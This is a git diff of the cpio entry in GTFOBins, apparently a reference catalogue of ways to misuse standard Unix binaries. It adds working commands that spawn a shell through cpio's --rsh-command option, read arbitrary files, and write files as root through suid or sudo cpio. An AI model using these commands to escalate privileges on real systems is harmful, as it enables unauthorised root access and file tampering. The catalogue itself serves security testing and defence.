diff --git a/_gtfobins/cpio.yml b/_gtfobins/cpio.yml
index ce84476..7828004 100644
--- a/_gtfobins/cpio.yml
+++ b/_gtfobins/cpio.yml
@@ -1,38 +1,54 @@
 ---
-description: This reads the contents of file or overwrite to or from the subjected place.
 functions:
+  shell:
+    - code: |
+        echo '/bin/sh </dev/tty >/dev/tty' >localhost
+        cpio -o --rsh-command /bin/sh -F localhost:
   file-read:
-    - code: |
-        LFILE=file_to_read_or_to_save
-        LFOLDER=folder_location_to_read_or_to_save
-        touch file.txt
-        FOLDER=folder_where_file.txt_is_saved
-        echo $LFILE > /$FOLDER/file.txt
-        cd /$LFOLDER && cpio -o  < /$FOLDER/file.txt 
+    - description: The content of the file is printed to standard output, between the cpio archive format header and footer.
+      code: |
+        LFILE=file_to_read
+        echo "$LFILE" | cpio -o
+    - description: The whole directory structure is copied to `$TF`.
+      code: |
+        LFILE=file_to_read
+        TF=$(mktemp -d)
+        echo "$LFILE" | cpio -dp $TF
+        cat "$TF/$LFILE"
+  file-write:
+    - description: Copies `$LFILE` to the `$LDIR` directory.
+      code: |
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >$LFILE
+        echo $LFILE | cpio -up $LDIR
   suid:
-    - code: |
-        LFILE=file_to_read_or_to_save
-        LFOLDER=folder_location_to_read_or_to_save
-        touch file.txt
-        FOLDER=folder_where_file.txt_is_saved
-        echo $LFILE > /$FOLDER/file.txt
-        cd /$LFOLDER && cpio -o  < /$FOLDER/file.txt
-
-        # FILE to overwrite
-        cpio -p /$DFOLDER/ < /$FOLDER/file.txt 
+    - description: The whole directory structure is copied to `$TF`.
+      code: |
+        LFILE=file_to_read
+        TF=$(mktemp -d)
+        echo "$LFILE" | ./cpio -R $UID -dp $TF
+        cat "$TF/$LFILE"
+    - description: Copies `$LFILE` to the `$LDIR` directory.
+      code: |
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >$LFILE
+        echo $LFILE | ./cpio -R 0:0 -p $LDIR
   sudo:
     - code: |
-        LFILE=file_to_read_or_to_save
-        LFOLDER=folder_location_to_read_or_to_save
-        touch file.txt
-        FOLDER=folder_where_file.txt_is_saved
-        echo $LFILE > /$FOLDER/file.txt
-        cd /$LFOLDER && cpio -o  < /$FOLDER/file.txt
-
-        # FILE to overwrite
-        cpio -p /$DFOLDER/ < /$FOLDER/file.txt 
+        echo '/bin/sh </dev/tty >/dev/tty' >localhost
+        sudo cpio -o --rsh-command /bin/sh -F localhost:
+    - description: The whole directory structure is copied to `$TF`.
+      code: |
+        LFILE=file_to_read
+        TF=$(mktemp -d)
+        echo "$LFILE" | sudo cpio -R $UID -dp $TF
+        cat "$TF/$LFILE"
+    - description: Copies `$LFILE` to the `$LDIR` directory.
+      code: |
+        LFILE=file_to_write
+        LDIR=where_to_write
+        echo DATA >$LFILE
+        echo $LFILE | sudo cpio -R 0:0 -p $LDIR
 ---
-
-
-
-